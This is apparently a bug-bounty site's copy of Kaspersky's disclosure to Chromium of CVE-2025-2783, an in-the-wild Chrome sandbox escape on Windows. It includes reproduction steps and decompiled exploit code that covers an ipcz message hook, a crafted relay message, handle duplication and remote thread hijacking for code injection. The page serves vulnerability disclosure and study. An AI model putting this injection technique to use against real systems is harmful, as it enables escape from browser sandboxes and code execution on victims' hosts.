Skip to content
Memory corruption Advisory Advanced CVE-2025-2783

Incorrect handle provided in unspecified circumstances in Mojo on Windows (CVE-2025-2783)

A Chrome sandbox escape exploit was found in the wild, using a hook on a V8 inspector function and a crafted ipcz message to duplicate a Windows handle and inject code into another process. An attacker could escape the browser sandbox and execute code on the host, though the full remote code execution chain was not obtained.

Boris Larin Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 6 days

Steps to reproduce the problem

We were able to successfully test the sandbox escape exploit on Chrome without need for RCE. This is how we did it:

  1. Launched Chrome (134.0.6998.89) without any special flags
  2. Launched JS with a call to alert(), some builtin function and exploit trigger:

var ab = new ArrayBuffer(8); var ar = new Int32Array(ab); ar[0] = 0xcccccccc; console.debug(0x42, ar); 3) Attached with debugger to renderer process on alert() function call. 4) Loaded and executed DLL of exploit with custom shellcode 5) Continued execution 6) Verified successful code injection from renderer process

In the archive you can also find shellcode that runs DLL from memory and my script. The password for archive: infected.

Problem Description

Hello team,

We were able to catch a 0-day Google Chrome sandbox escape exploit that was recently used in a wave of targeted attacks as a part of 1-click attack chain. Unfortunately, we were unable to obtain the RCE part of the attack chain yet, but our investigation is still ongoing. We were able to successfully test the sandbox escape exploit on 134.0.6998.89. You can find a sample of an exploit in the attachment – it’s a DLL file. The exploitation is done using the ipcz interface and the exploit is built on the open source code of mojo framework. We did a quick analysis and here's a quick explanation of what it does: Once DLL is loaded into memory, it executes function 0x18001ED90, which initializes the exploit - parses the structure of the chrome.dll library and determines the addresses of useful functions and code gadgets using a pattern search. After that it installs a hook on the function “v8_inspector::V8Console::Debug(v8::debug::ConsoleCallArguments const&, v8::debug::ConsoleContext const&)” that allows to execute sandbox escape with the desired payload with a call from the JS. Once exploit is initialized attackers can trigger sandbox escape with “console.debug(0x42, shellcode);”. Most of ipcz/mojo work is done in function 0x18001EE10. Here's some quickly reverse engineered code of it:

  // Get node
  sub_18002C0C0(node_object, &node_link_object);
  ipcz::Node::GetAssignedName__(node_object, &v20);

  // Hook "ipcz::NodeLink::OnAcceptRelayedMessage(ipcz::msg::AcceptRelayedMessage&)" function
  v7 = *(_QWORD *)node_link_object + 264i64;
  OnAcceptRelayedMessage_func_ptr = v7;
  v7 &= 0xFFFFFFFFFFFFF000ui64;
  VirtualProtect((LPVOID)v7, 0x1000ui64, 4u, &flOldProtect);
  OnAcceptRelayedMessage_original = *(__int64 (__fastcall **)(_QWORD, _QWORD))OnAcceptRelayedMessage_func_ptr;
  *(_QWORD *)OnAcceptRelayedMessage_func_ptr = OnAcceptRelayedMessage_hook;
  VirtualProtect((LPVOID)v7, 0x1000ui64, flOldProtect, &flOldProtect);

  // Send RelayMessage with unknown message_id (0x69)
  LODWORD(v7) = GetLastError();
  v17 = -2i64;
  base__GetProgramCounter__();
  SetLastError(v7);
  mojo::PlatformHandle::PlatformHandle_base::win::GenericScopedHandle_base::win::HandleTraits_base::win::DummyVerifierTraits__(
    (__int64)&v18, &v17);
  v8 = (_QWORD *)operator_new_unsigned_long_long_(32i64);
  mojo::PlatformHandle::operator__mojo::PlatformHandle___((__int64)v23, (__int64)&v18);
  mojo::core::ipcz_driver::WrappedPlatformHandle::WrappedPlatformHandle_mojo::PlatformHandle_(v8, (__int64)v23);
  LOBYTE(v9) = 0xAA;
  memset(v23, v9, sizeof(v23));
  ipcz::Message::Message_unsigned_char__unsigned_long_long_(v23, 0x69, 0x10i64);
  v10 = v23[21];
  v11 = *(unsigned __int8 *)v23[21];
  *(_QWORD *)(v23[21] + v11) = 0xDEADBEEF12345678ui64;
  *(_QWORD *)(v10 + v11 + 8) = 0i64;
  DriverObject(&v16, *(_QWORD *)(node_object + 24), (__int64)v8);
  TakeDriverObject__(driver_object, (__int64 *)&v16);
  ipcz::Message::AppendDriverObject_ipcz::DriverObject_((__int64)v23, (__int64)driver_object);
  ipcz::NodeLink::RelayMessage_ipcz::NodeName_const___ipcz::Message__((__int64)node_link_object, &v20, (__int64)v23);

Once RelayMessage is sent, the handler of attackers (function 0x18001E350) gets executed. This handler looks for messages with message_id equal to 0x69. When such message is received it reads pointer to WrappedPlatformHandle object from message+0xC8, gets a Windows OS HANDLE from it and calls a DuplicateHandle API function on it.

  v15 = GetCurrentProcess();
  v16 = GetCurrentProcess();
  if ( DuplicateHandle(v16, from_message, v15, &TargetHandle, 0x101FFFFFu, 0, DUPLICATE_SAME_ACCESS) )

If this operation succeeds exploit removes OnAcceptRelayedMessage hook and executes a thread that performs a code injection using duplicated handle.

This thread (function 0x18001D5F0) adjusts the priority of current and remote threads (using duplicated handle) and executes code in a remote process using the gadget addresses resolved at the initial stage. These gadgets are executed by manipulation of a remote thread context with a series of calls to API functions GetThreadContext, SetThreadContext, ResumeThread, SuspendThread.

    memset(&Context, 0, sizeof(Context));
    Context.ContextFlags = 0x10001F;
    if ( GetThreadContext(v3, &Context) )
    {
      memcpy(&v58, &Context, sizeof(v58));
      Context.ContextFlags = 0x10001F;
      stack_pos = Context.Rsp - 256;
      Context.Rdi = Context.Rsp - 296;
      Context.R14 = code_gadget_end_address_EBFE;
      Context.Rip = code_gadget_start_address1;
      Context.Rbx = code_gadget_end_address_EBFE;
      Context.Rsp -= 256i64;
      Context.Rbp = Context.Rsp;
      SetThreadContext(v3, &Context);
      v4 = code_gadget_end_address_EBFE;
      do
      {
        ResumeThread(v3);
        SuspendThread(v3);
        GetThreadContext(v3, &Context);
      }
      while ( Context.Rip != v4 );

After it exploit injects shellcode with WriteProcessMemory+CreateRemoteThread

Summary

ITW 0-day Google Chrome Sandbox Escape

Custom Questions

Reporter credit:

Boris Larin (@oct0xor) and Igor Kuznetsov (@2igosha) of Kaspersky

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A

The original report as published on the Chromium issue tracker, by Boris Larin (@oct0xor) and Igor Kuznetsov (@2igosha) of Kaspersky. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an incorrect handle was provided to the ipcz/mojo interface under unspecified circumstances, allowing a crafted message to duplicate a Windows handle and inject code.

Impact

An attacker could escape the Chrome sandbox and execute code on the host, but the full remote code execution chain was not obtained.

What the attacker needed

Windows target; Chrome 134.0.6998.89; Ability to load a DLL into the renderer; Debugger access to renderer

How it was found

  1. Launch Chrome without special flags.
  2. Run JavaScript that calls alert(), a builtin function, and the exploit trigger.
  3. Attach a debugger to the renderer process on the alert() call.
  4. Load and execute the exploit DLL with custom shellcode.
  5. Continue execution.
  6. Verify successful code injection from the renderer process.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sandbox is a security boundary that keeps a web browser's processes isolated from the rest of the computer. This report describes an exploit that breaks out of that boundary on Windows, letting an attacker run code outside the browser. The exploit was used in real attacks, but the researchers only recovered the sandbox-escape part, not the earlier step that would have let a website trigger it.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.